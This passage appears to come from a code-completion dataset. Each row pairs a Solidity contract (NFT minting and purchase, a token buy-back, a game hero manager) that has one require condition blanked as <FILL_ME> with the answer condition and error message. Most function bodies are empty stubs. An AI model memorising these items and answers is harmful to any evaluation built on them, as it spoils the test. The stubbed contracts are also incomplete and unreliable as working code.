* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
require(projectAshPrice[_projectId] > 0, "Ash Price Not Set");
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
require(
exceedsMaxMints(msg.sender, _projectId, _numberOfTokens) == false,
"You will exceed max allowed mints"
);
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 cost = projectAshPrice[_projectId].mul(_numberOfTokens);
require(
ash.allowance(msg.sender, address(this)) >= cost,
"ASH Allowance not set"
);
require(<FILL_ME>)
ash.transferFrom(msg.sender, address(this), cost);
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
_numberOfTokens,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
_numberOfTokens;
}
}
}
| ash.balanceOf(msg.sender)>=cost,"Not enough ASH sent" | 243,850 | ash.balanceOf(msg.sender)>=cost |
"Mint exceeds supply!" | pragma solidity ^0.8.0;
interface INft is IERC721 {
function mintTo(uint[] calldata, address[] calldata) external payable;
function publicSaleMinted() external returns (uint);
function totalSupply() external returns (uint);
}
contract evolution_mint is Ownable {
uint public price = 0.05 ether;
uint public newMinted;
uint public maxTokens = 2500;
uint public publicSaleTokens = 1500;
address evoAddress = 0x69226261e908d24b0127Ad890C467080Fedd7090;
event MintPublic(uint[] amounts, address[] recipients);
function mint(uint[] memory amount_, address[] memory to_) public payable {
require(amount_.length == to_.length, "Must provide equal quantities and recipients");
uint _supply = INft(evoAddress).totalSupply();
uint _totalQuantity;
for(uint i; i < amount_.length; ++i){
_totalQuantity += amount_[i];
}
require(msg.value == price * _totalQuantity, "Incorrect amount of ETH sent");
uint _publicSaleMinted = INft(evoAddress).publicSaleMinted();
uint _totalPublicMinted = _publicSaleMinted + newMinted;
require(<FILL_ME>)
require(_totalPublicMinted + _totalQuantity < publicSaleTokens, "Mint exceed public allowance!");
payable(evoAddress).transfer(msg.value);
newMinted++;
INft(evoAddress).mintTo(amount_, to_);
emit MintPublic(amount_, to_);
}
function updateMintVariables(uint price_, uint maxTokens_, uint publicSaleTokens_) external onlyOwner {
}
function setEvoAddress(address evoAddress_) external onlyOwner {
}
}
| _supply+_totalQuantity<=maxTokens,"Mint exceeds supply!" | 243,907 | _supply+_totalQuantity<=maxTokens |
"Mint exceed public allowance!" | pragma solidity ^0.8.0;
interface INft is IERC721 {
function mintTo(uint[] calldata, address[] calldata) external payable;
function publicSaleMinted() external returns (uint);
function totalSupply() external returns (uint);
}
contract evolution_mint is Ownable {
uint public price = 0.05 ether;
uint public newMinted;
uint public maxTokens = 2500;
uint public publicSaleTokens = 1500;
address evoAddress = 0x69226261e908d24b0127Ad890C467080Fedd7090;
event MintPublic(uint[] amounts, address[] recipients);
function mint(uint[] memory amount_, address[] memory to_) public payable {
require(amount_.length == to_.length, "Must provide equal quantities and recipients");
uint _supply = INft(evoAddress).totalSupply();
uint _totalQuantity;
for(uint i; i < amount_.length; ++i){
_totalQuantity += amount_[i];
}
require(msg.value == price * _totalQuantity, "Incorrect amount of ETH sent");
uint _publicSaleMinted = INft(evoAddress).publicSaleMinted();
uint _totalPublicMinted = _publicSaleMinted + newMinted;
require(_supply + _totalQuantity <= maxTokens, "Mint exceeds supply!");
require(<FILL_ME>)
payable(evoAddress).transfer(msg.value);
newMinted++;
INft(evoAddress).mintTo(amount_, to_);
emit MintPublic(amount_, to_);
}
function updateMintVariables(uint price_, uint maxTokens_, uint publicSaleTokens_) external onlyOwner {
}
function setEvoAddress(address evoAddress_) external onlyOwner {
}
}
| _totalPublicMinted+_totalQuantity<publicSaleTokens,"Mint exceed public allowance!" | 243,907 | _totalPublicMinted+_totalQuantity<publicSaleTokens |
"not enough to issue refund" | pragma solidity ^0.8.7;
contract LamboLiquidity is Ownable, Pausable, ERC1155Holder {
IOpenseaStorefront os = IOpenseaStorefront(0x495f947276749Ce646f68AC8c248420045cb7b5e);
uint256 migrateFromToken = 0xC0C8D886B92A811E8E41CB6AB5144E44DBBFBFA3000000000015C00000000001;
uint256 migrateTilToken = 0xC0C8D886B92A811E8E41CB6AB5144E44DBBFBFA30000000000181A0000000001;
uint256 getSalePrice = .012 ether;
uint256 getBuyPrice = .02 ether;
mapping(address => uint256) claimablePunk;
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function sellPunks(uint256[] memory osTokenIds) external whenNotPaused {
uint256 issuedRefund = getSalePrice * osTokenIds.length;
require(<FILL_ME>)
for(uint256 i = 0; i < osTokenIds.length; i++) {
uint256 osTokenId = osTokenIds[i];
require(osTokenId >= migrateFromToken, "not a valid LEP");
require(osTokenId <= migrateTilToken, "not a valid LEP");
os.safeTransferFrom(msg.sender, address(this), osTokenId, 1, '');
}
msg.sender.call{value: issuedRefund}('');
emit SoldPunk(osTokenIds);
}
function claimPunks(uint256[] memory osTokenIds) external whenNotPaused {
}
function setOS(address _newOS) external onlyOwner {
}
function setMigrateTilToken(uint256 newMigrateTilToken) external onlyOwner {
}
function getClaimablePunk(address _user) external view returns (uint256){
}
function setBuySellPrice(uint256 buy, uint256 sell) external onlyOwner {
}
event BoughtPunk(uint256[] amount);
event SoldPunk(uint256[] amount);
receive() payable external whenNotPaused {
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public virtual override returns (bytes4) {
}
function withdraw(uint256 amount) external onlyOwner {
}
function withdrawLEP(uint256 tokenId, address _to) external onlyOwner {
}
}
| address(this).balance>=issuedRefund,"not enough to issue refund" | 243,930 | address(this).balance>=issuedRefund |
"too many punk" | pragma solidity ^0.8.7;
contract LamboLiquidity is Ownable, Pausable, ERC1155Holder {
IOpenseaStorefront os = IOpenseaStorefront(0x495f947276749Ce646f68AC8c248420045cb7b5e);
uint256 migrateFromToken = 0xC0C8D886B92A811E8E41CB6AB5144E44DBBFBFA3000000000015C00000000001;
uint256 migrateTilToken = 0xC0C8D886B92A811E8E41CB6AB5144E44DBBFBFA30000000000181A0000000001;
uint256 getSalePrice = .012 ether;
uint256 getBuyPrice = .02 ether;
mapping(address => uint256) claimablePunk;
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function sellPunks(uint256[] memory osTokenIds) external whenNotPaused {
}
function claimPunks(uint256[] memory osTokenIds) external whenNotPaused {
require(<FILL_ME>)
claimablePunk[msg.sender] -= osTokenIds.length;
for(uint256 i = 0; i < osTokenIds.length; i++) {
uint256 osTokenId = osTokenIds[i];
require(osTokenId >= migrateFromToken, "not a valid LEP");
require(osTokenId <= migrateTilToken, "not a valid LEP");
os.safeTransferFrom(address(this), msg.sender, osTokenId, 1, '');
}
emit BoughtPunk(osTokenIds);
}
function setOS(address _newOS) external onlyOwner {
}
function setMigrateTilToken(uint256 newMigrateTilToken) external onlyOwner {
}
function getClaimablePunk(address _user) external view returns (uint256){
}
function setBuySellPrice(uint256 buy, uint256 sell) external onlyOwner {
}
event BoughtPunk(uint256[] amount);
event SoldPunk(uint256[] amount);
receive() payable external whenNotPaused {
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public virtual override returns (bytes4) {
}
function withdraw(uint256 amount) external onlyOwner {
}
function withdrawLEP(uint256 tokenId, address _to) external onlyOwner {
}
}
| claimablePunk[msg.sender]>=osTokenIds.length,"too many punk" | 243,930 | claimablePunk[msg.sender]>=osTokenIds.length |
"HeroManager: hero already added" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
import "@openzeppelin/contracts/utils/Multicall.sol";
import "../libraries/GameFi.sol";
import "../libraries/UnsafeMath.sol";
/** Contract handles every single Hero data */
contract HeroManager is Ownable, Multicall {
using UnsafeMath for uint256;
IERC20 public token;
IERC721 public nft;
address public lobbyManagerAddress;
uint256 public constant HERO_MAX_LEVEL = 30;
uint256 public constant HERO_MAX_EXP = 100 * 10**18;
uint256 public baseLevelUpFee = 50000 * 10**18; // 50,000 $HRI
uint256 public bonusLevelUpFee = 10000 * 10**18; // 10,000 $HRI
uint256 public primaryPowerMultiplier = 10;
uint256 public secondaryMultiplier = 8;
uint256 public thirdMultiplier = 6;
uint256 public rarityPowerBooster = 110;
uint256 public bonusExp = 30 * 10**18; // From Level 1, every battle win will give 30 exp to the hero. And as level goes up, this will be reduced. Level 1 -> 2: 30, Lv 2 -> 3: 29, ...., Lv 29 -> 30: 2
uint256 public expDiff = 4;
uint256 public maxHeroEnergy = 5;
uint256 public energyRecoveryTime = 1 hours;
mapping(uint256 => GameFi.Hero) public heroes;
mapping(uint256 => uint256) public heroesEnergy;
mapping(uint256 => uint256) public heroesEnergyUsedAt;
constructor(address tokenAddress, address nftAddress) {
}
function addHero(uint256 heroId, GameFi.Hero calldata hero)
external
onlyOwner
{
require(<FILL_ME>)
heroes[heroId] = hero;
}
function levelUp(uint256 heroId, uint256 levels) external {
}
function spendHeroEnergy(uint256 heroId) external {
}
function expUp(uint256 heroId, bool won) public {
}
function bulkExpUp(uint256[] calldata heroIds, bool won) external {
}
function levelUpFee(uint256 heroId, uint256 levels)
public
view
returns (uint256)
{
}
function heroEnergy(uint256 heroId) public view returns (uint256) {
}
function heroPower(uint256 heroId) external view returns (uint256) {
}
function heroPrimaryAttribute(uint256 heroId)
external
view
returns (uint256)
{
}
function heroLevel(uint256 heroId) public view returns (uint256) {
}
function heroBonusExp(uint256 heroId) internal view returns (uint256) {
}
function levelExp(uint256 level) public view returns (uint256) {
}
function validateHeroIds(uint256[] calldata heroIds, address owner)
external
view
returns (bool)
{
}
function validateHeroEnergies(uint256[] calldata heroIds)
external
view
returns (bool)
{
}
function setLobbyManager(address lbAddr) external onlyOwner {
}
function setRarityPowerBooster(uint256 value) external onlyOwner {
}
function setPrimaryPowerMultiplier(uint256 value) external onlyOwner {
}
function setSecondaryMultiplier(uint256 value) external onlyOwner {
}
function setThirdMultiplier(uint256 value) external onlyOwner {
}
function setBaseLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusExp(uint256 value) external onlyOwner {
}
function setExpDiff(uint256 value) external onlyOwner {
}
function setMaxHeroEnergy(uint256 value) external onlyOwner {
}
function setEnergyRecoveryTime(uint256 value) external onlyOwner {
}
function withdrawReserves(uint256 amount) external onlyOwner {
}
}
| heroes[heroId].level==0,"HeroManager: hero already added" | 243,975 | heroes[heroId].level==0 |
"HeroManager: not a NFT owner" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
import "@openzeppelin/contracts/utils/Multicall.sol";
import "../libraries/GameFi.sol";
import "../libraries/UnsafeMath.sol";
/** Contract handles every single Hero data */
contract HeroManager is Ownable, Multicall {
using UnsafeMath for uint256;
IERC20 public token;
IERC721 public nft;
address public lobbyManagerAddress;
uint256 public constant HERO_MAX_LEVEL = 30;
uint256 public constant HERO_MAX_EXP = 100 * 10**18;
uint256 public baseLevelUpFee = 50000 * 10**18; // 50,000 $HRI
uint256 public bonusLevelUpFee = 10000 * 10**18; // 10,000 $HRI
uint256 public primaryPowerMultiplier = 10;
uint256 public secondaryMultiplier = 8;
uint256 public thirdMultiplier = 6;
uint256 public rarityPowerBooster = 110;
uint256 public bonusExp = 30 * 10**18; // From Level 1, every battle win will give 30 exp to the hero. And as level goes up, this will be reduced. Level 1 -> 2: 30, Lv 2 -> 3: 29, ...., Lv 29 -> 30: 2
uint256 public expDiff = 4;
uint256 public maxHeroEnergy = 5;
uint256 public energyRecoveryTime = 1 hours;
mapping(uint256 => GameFi.Hero) public heroes;
mapping(uint256 => uint256) public heroesEnergy;
mapping(uint256 => uint256) public heroesEnergyUsedAt;
constructor(address tokenAddress, address nftAddress) {
}
function addHero(uint256 heroId, GameFi.Hero calldata hero)
external
onlyOwner
{
}
function levelUp(uint256 heroId, uint256 levels) external {
uint256 currentLevel = heroes[heroId].level;
require(<FILL_ME>)
require(currentLevel < HERO_MAX_LEVEL, "HeroManager: hero max level");
require(
currentLevel + levels <= HERO_MAX_LEVEL,
"HeroManager: too many levels up"
);
uint256 totalLevelUpFee = levelUpFee(heroId, levels);
require(
token.transferFrom(msg.sender, address(this), totalLevelUpFee),
"HeroManager: not enough fee"
);
GameFi.Hero memory hero = heroes[heroId];
heroes[heroId].level = currentLevel.add(levels);
heroes[heroId].strength = hero.strength.add(levels.mul(hero.strengthGain));
heroes[heroId].agility = hero.agility.add(levels.mul(hero.agilityGain));
heroes[heroId].intelligence = hero.intelligence.add(
levels.mul(hero.intelligenceGain)
);
heroes[heroId].experience = 0;
}
function spendHeroEnergy(uint256 heroId) external {
}
function expUp(uint256 heroId, bool won) public {
}
function bulkExpUp(uint256[] calldata heroIds, bool won) external {
}
function levelUpFee(uint256 heroId, uint256 levels)
public
view
returns (uint256)
{
}
function heroEnergy(uint256 heroId) public view returns (uint256) {
}
function heroPower(uint256 heroId) external view returns (uint256) {
}
function heroPrimaryAttribute(uint256 heroId)
external
view
returns (uint256)
{
}
function heroLevel(uint256 heroId) public view returns (uint256) {
}
function heroBonusExp(uint256 heroId) internal view returns (uint256) {
}
function levelExp(uint256 level) public view returns (uint256) {
}
function validateHeroIds(uint256[] calldata heroIds, address owner)
external
view
returns (bool)
{
}
function validateHeroEnergies(uint256[] calldata heroIds)
external
view
returns (bool)
{
}
function setLobbyManager(address lbAddr) external onlyOwner {
}
function setRarityPowerBooster(uint256 value) external onlyOwner {
}
function setPrimaryPowerMultiplier(uint256 value) external onlyOwner {
}
function setSecondaryMultiplier(uint256 value) external onlyOwner {
}
function setThirdMultiplier(uint256 value) external onlyOwner {
}
function setBaseLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusExp(uint256 value) external onlyOwner {
}
function setExpDiff(uint256 value) external onlyOwner {
}
function setMaxHeroEnergy(uint256 value) external onlyOwner {
}
function setEnergyRecoveryTime(uint256 value) external onlyOwner {
}
function withdrawReserves(uint256 amount) external onlyOwner {
}
}
| nft.ownerOf(heroId)==msg.sender,"HeroManager: not a NFT owner" | 243,975 | nft.ownerOf(heroId)==msg.sender |
"HeroManager: too many levels up" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
import "@openzeppelin/contracts/utils/Multicall.sol";
import "../libraries/GameFi.sol";
import "../libraries/UnsafeMath.sol";
/** Contract handles every single Hero data */
contract HeroManager is Ownable, Multicall {
using UnsafeMath for uint256;
IERC20 public token;
IERC721 public nft;
address public lobbyManagerAddress;
uint256 public constant HERO_MAX_LEVEL = 30;
uint256 public constant HERO_MAX_EXP = 100 * 10**18;
uint256 public baseLevelUpFee = 50000 * 10**18; // 50,000 $HRI
uint256 public bonusLevelUpFee = 10000 * 10**18; // 10,000 $HRI
uint256 public primaryPowerMultiplier = 10;
uint256 public secondaryMultiplier = 8;
uint256 public thirdMultiplier = 6;
uint256 public rarityPowerBooster = 110;
uint256 public bonusExp = 30 * 10**18; // From Level 1, every battle win will give 30 exp to the hero. And as level goes up, this will be reduced. Level 1 -> 2: 30, Lv 2 -> 3: 29, ...., Lv 29 -> 30: 2
uint256 public expDiff = 4;
uint256 public maxHeroEnergy = 5;
uint256 public energyRecoveryTime = 1 hours;
mapping(uint256 => GameFi.Hero) public heroes;
mapping(uint256 => uint256) public heroesEnergy;
mapping(uint256 => uint256) public heroesEnergyUsedAt;
constructor(address tokenAddress, address nftAddress) {
}
function addHero(uint256 heroId, GameFi.Hero calldata hero)
external
onlyOwner
{
}
function levelUp(uint256 heroId, uint256 levels) external {
uint256 currentLevel = heroes[heroId].level;
require(nft.ownerOf(heroId) == msg.sender, "HeroManager: not a NFT owner");
require(currentLevel < HERO_MAX_LEVEL, "HeroManager: hero max level");
require(<FILL_ME>)
uint256 totalLevelUpFee = levelUpFee(heroId, levels);
require(
token.transferFrom(msg.sender, address(this), totalLevelUpFee),
"HeroManager: not enough fee"
);
GameFi.Hero memory hero = heroes[heroId];
heroes[heroId].level = currentLevel.add(levels);
heroes[heroId].strength = hero.strength.add(levels.mul(hero.strengthGain));
heroes[heroId].agility = hero.agility.add(levels.mul(hero.agilityGain));
heroes[heroId].intelligence = hero.intelligence.add(
levels.mul(hero.intelligenceGain)
);
heroes[heroId].experience = 0;
}
function spendHeroEnergy(uint256 heroId) external {
}
function expUp(uint256 heroId, bool won) public {
}
function bulkExpUp(uint256[] calldata heroIds, bool won) external {
}
function levelUpFee(uint256 heroId, uint256 levels)
public
view
returns (uint256)
{
}
function heroEnergy(uint256 heroId) public view returns (uint256) {
}
function heroPower(uint256 heroId) external view returns (uint256) {
}
function heroPrimaryAttribute(uint256 heroId)
external
view
returns (uint256)
{
}
function heroLevel(uint256 heroId) public view returns (uint256) {
}
function heroBonusExp(uint256 heroId) internal view returns (uint256) {
}
function levelExp(uint256 level) public view returns (uint256) {
}
function validateHeroIds(uint256[] calldata heroIds, address owner)
external
view
returns (bool)
{
}
function validateHeroEnergies(uint256[] calldata heroIds)
external
view
returns (bool)
{
}
function setLobbyManager(address lbAddr) external onlyOwner {
}
function setRarityPowerBooster(uint256 value) external onlyOwner {
}
function setPrimaryPowerMultiplier(uint256 value) external onlyOwner {
}
function setSecondaryMultiplier(uint256 value) external onlyOwner {
}
function setThirdMultiplier(uint256 value) external onlyOwner {
}
function setBaseLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusExp(uint256 value) external onlyOwner {
}
function setExpDiff(uint256 value) external onlyOwner {
}
function setMaxHeroEnergy(uint256 value) external onlyOwner {
}
function setEnergyRecoveryTime(uint256 value) external onlyOwner {
}
function withdrawReserves(uint256 amount) external onlyOwner {
}
}
| currentLevel+levels<=HERO_MAX_LEVEL,"HeroManager: too many levels up" | 243,975 | currentLevel+levels<=HERO_MAX_LEVEL |
"HeroManager: not enough fee" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
import "@openzeppelin/contracts/utils/Multicall.sol";
import "../libraries/GameFi.sol";
import "../libraries/UnsafeMath.sol";
/** Contract handles every single Hero data */
contract HeroManager is Ownable, Multicall {
using UnsafeMath for uint256;
IERC20 public token;
IERC721 public nft;
address public lobbyManagerAddress;
uint256 public constant HERO_MAX_LEVEL = 30;
uint256 public constant HERO_MAX_EXP = 100 * 10**18;
uint256 public baseLevelUpFee = 50000 * 10**18; // 50,000 $HRI
uint256 public bonusLevelUpFee = 10000 * 10**18; // 10,000 $HRI
uint256 public primaryPowerMultiplier = 10;
uint256 public secondaryMultiplier = 8;
uint256 public thirdMultiplier = 6;
uint256 public rarityPowerBooster = 110;
uint256 public bonusExp = 30 * 10**18; // From Level 1, every battle win will give 30 exp to the hero. And as level goes up, this will be reduced. Level 1 -> 2: 30, Lv 2 -> 3: 29, ...., Lv 29 -> 30: 2
uint256 public expDiff = 4;
uint256 public maxHeroEnergy = 5;
uint256 public energyRecoveryTime = 1 hours;
mapping(uint256 => GameFi.Hero) public heroes;
mapping(uint256 => uint256) public heroesEnergy;
mapping(uint256 => uint256) public heroesEnergyUsedAt;
constructor(address tokenAddress, address nftAddress) {
}
function addHero(uint256 heroId, GameFi.Hero calldata hero)
external
onlyOwner
{
}
function levelUp(uint256 heroId, uint256 levels) external {
uint256 currentLevel = heroes[heroId].level;
require(nft.ownerOf(heroId) == msg.sender, "HeroManager: not a NFT owner");
require(currentLevel < HERO_MAX_LEVEL, "HeroManager: hero max level");
require(
currentLevel + levels <= HERO_MAX_LEVEL,
"HeroManager: too many levels up"
);
uint256 totalLevelUpFee = levelUpFee(heroId, levels);
require(<FILL_ME>)
GameFi.Hero memory hero = heroes[heroId];
heroes[heroId].level = currentLevel.add(levels);
heroes[heroId].strength = hero.strength.add(levels.mul(hero.strengthGain));
heroes[heroId].agility = hero.agility.add(levels.mul(hero.agilityGain));
heroes[heroId].intelligence = hero.intelligence.add(
levels.mul(hero.intelligenceGain)
);
heroes[heroId].experience = 0;
}
function spendHeroEnergy(uint256 heroId) external {
}
function expUp(uint256 heroId, bool won) public {
}
function bulkExpUp(uint256[] calldata heroIds, bool won) external {
}
function levelUpFee(uint256 heroId, uint256 levels)
public
view
returns (uint256)
{
}
function heroEnergy(uint256 heroId) public view returns (uint256) {
}
function heroPower(uint256 heroId) external view returns (uint256) {
}
function heroPrimaryAttribute(uint256 heroId)
external
view
returns (uint256)
{
}
function heroLevel(uint256 heroId) public view returns (uint256) {
}
function heroBonusExp(uint256 heroId) internal view returns (uint256) {
}
function levelExp(uint256 level) public view returns (uint256) {
}
function validateHeroIds(uint256[] calldata heroIds, address owner)
external
view
returns (bool)
{
}
function validateHeroEnergies(uint256[] calldata heroIds)
external
view
returns (bool)
{
}
function setLobbyManager(address lbAddr) external onlyOwner {
}
function setRarityPowerBooster(uint256 value) external onlyOwner {
}
function setPrimaryPowerMultiplier(uint256 value) external onlyOwner {
}
function setSecondaryMultiplier(uint256 value) external onlyOwner {
}
function setThirdMultiplier(uint256 value) external onlyOwner {
}
function setBaseLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusExp(uint256 value) external onlyOwner {
}
function setExpDiff(uint256 value) external onlyOwner {
}
function setMaxHeroEnergy(uint256 value) external onlyOwner {
}
function setEnergyRecoveryTime(uint256 value) external onlyOwner {
}
function withdrawReserves(uint256 amount) external onlyOwner {
}
}
| token.transferFrom(msg.sender,address(this),totalLevelUpFee),"HeroManager: not enough fee" | 243,975 | token.transferFrom(msg.sender,address(this),totalLevelUpFee) |
"HeroManager: hero zero energy" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
import "@openzeppelin/contracts/utils/Multicall.sol";
import "../libraries/GameFi.sol";
import "../libraries/UnsafeMath.sol";
/** Contract handles every single Hero data */
contract HeroManager is Ownable, Multicall {
using UnsafeMath for uint256;
IERC20 public token;
IERC721 public nft;
address public lobbyManagerAddress;
uint256 public constant HERO_MAX_LEVEL = 30;
uint256 public constant HERO_MAX_EXP = 100 * 10**18;
uint256 public baseLevelUpFee = 50000 * 10**18; // 50,000 $HRI
uint256 public bonusLevelUpFee = 10000 * 10**18; // 10,000 $HRI
uint256 public primaryPowerMultiplier = 10;
uint256 public secondaryMultiplier = 8;
uint256 public thirdMultiplier = 6;
uint256 public rarityPowerBooster = 110;
uint256 public bonusExp = 30 * 10**18; // From Level 1, every battle win will give 30 exp to the hero. And as level goes up, this will be reduced. Level 1 -> 2: 30, Lv 2 -> 3: 29, ...., Lv 29 -> 30: 2
uint256 public expDiff = 4;
uint256 public maxHeroEnergy = 5;
uint256 public energyRecoveryTime = 1 hours;
mapping(uint256 => GameFi.Hero) public heroes;
mapping(uint256 => uint256) public heroesEnergy;
mapping(uint256 => uint256) public heroesEnergyUsedAt;
constructor(address tokenAddress, address nftAddress) {
}
function addHero(uint256 heroId, GameFi.Hero calldata hero)
external
onlyOwner
{
}
function levelUp(uint256 heroId, uint256 levels) external {
}
function spendHeroEnergy(uint256 heroId) external {
require(
msg.sender == lobbyManagerAddress,
"HeroManager: callable by lobby battle only"
);
require(<FILL_ME>)
uint256 currentEnergy = heroesEnergy[heroId];
if (currentEnergy == maxHeroEnergy) {
currentEnergy = 1;
} else {
currentEnergy = currentEnergy.add(1);
if (currentEnergy == maxHeroEnergy) {
heroesEnergyUsedAt[heroId] = block.timestamp;
}
}
heroesEnergy[heroId] = currentEnergy;
}
function expUp(uint256 heroId, bool won) public {
}
function bulkExpUp(uint256[] calldata heroIds, bool won) external {
}
function levelUpFee(uint256 heroId, uint256 levels)
public
view
returns (uint256)
{
}
function heroEnergy(uint256 heroId) public view returns (uint256) {
}
function heroPower(uint256 heroId) external view returns (uint256) {
}
function heroPrimaryAttribute(uint256 heroId)
external
view
returns (uint256)
{
}
function heroLevel(uint256 heroId) public view returns (uint256) {
}
function heroBonusExp(uint256 heroId) internal view returns (uint256) {
}
function levelExp(uint256 level) public view returns (uint256) {
}
